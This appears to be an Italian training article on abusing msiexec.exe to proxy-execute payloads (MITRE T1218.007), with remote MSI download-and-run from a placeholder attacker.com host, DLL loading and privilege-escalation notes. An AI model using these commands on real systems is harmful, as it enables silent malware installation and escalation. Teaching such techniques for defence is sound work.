Msiexec: System Binary Proxy Execution - Msiexec (T1218.007)
L'abuso di msiexec.exe rappresenta una tecnica sofisticata per mascherare l'esecuzione di payload maligni sfruttando un'utilità legittima di Windows. Questo strumento command-line, responsabile dell'esecuzione dei pacchetti Windows Installer (.msi), viene sfruttato per bypassare i controlli di sicurezza grazie alla sua firma digitale Microsoft.
La tecnica si inserisce nella tattica TA0005 (Defense Evasion) della kill chain, permettendo agli attaccanti di rimanere nascosti durante l'intero ciclo di compromissione. L'impatto è significativo: 6 gruppi APT hanno integrato questa tecnica nei loro arsenali, mentre 21 famiglie di malware la sfruttano attivamente per l'installazione e la persistenza. Le 2 campagne documentate mostrano come questa tecnica sia stata utilizzata in attacchi supply chain di alto profilo.
La pericolosità deriva dalla doppia natura di msiexec: può eseguire file MSI remoti via HTTP/HTTPS o percorsi UNC, ma anche caricare direttamente DLL malevole. Se la policy AlwaysInstallElevated è abilitata, l'esecuzione avviene con privilegi SYSTEM, amplificando drasticamente l'impatto.
Per comprendere la versatilità di questa tecnica, iniziamo con l'esecuzione remota di un MSI. Il comando base permette di scaricare ed eseguire un installer da un server remoto:
msiexec /q /i https://attacker.com/malicious.msi
Il parametro /q garantisce l'esecuzione silenziosa, mentre /i indica l'installazione. Per simulare l'attacco di TA505, che ha utilizzato proprio questa modalità, possiamo ospitare un MSI su un web server Python e osservare il comportamento.
L'esecuzione di DLL rappresenta un vettore ancora più subdolo. Il comando seguente carica una DLL arbitraria bypassando molti controlli:
msiexec /y C:\temp\payload.dll
Per replicare le tecniche di Duqu, che utilizzava chiavi di cifratura a 56-bit nei parametri PROPERTY=VALUE, possiamo costruire un MSI con payload cifrato. Lo strumento WiX Toolset permette di creare MSI personalizzati con proprietà custom che fungono da chiavi di decrittazione.
La tecnica di ZIRCONIUM combina download remoto e persistenza. Dopo aver scaricato l'MSI iniziale, il gruppo installa servizi Windows per mantenere l'accesso:
msiexec /i \remote-share\installer.msi TARGETDIR=C:\ProgramData /qn
Per testare l'elevazione dei privilegi, verifica prima se AlwaysInstallElevated è abilitato controllando le chiavi di registro HKLM e HKCU. Se attivo, qualsiasi MSI viene eseguito come SYSTEM, rendendo banale l'escalation.
L'injection in processi legittimi, come dimostrato da IcedID, richiede un approccio più sofisticato. Il malware prima avvia msiexec in modalità suspended, poi inietta il payload e riprende l'esecuzione. Questo pattern può essere replicato con strumenti come Process Hollowing PoC disponibili su GitHub.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo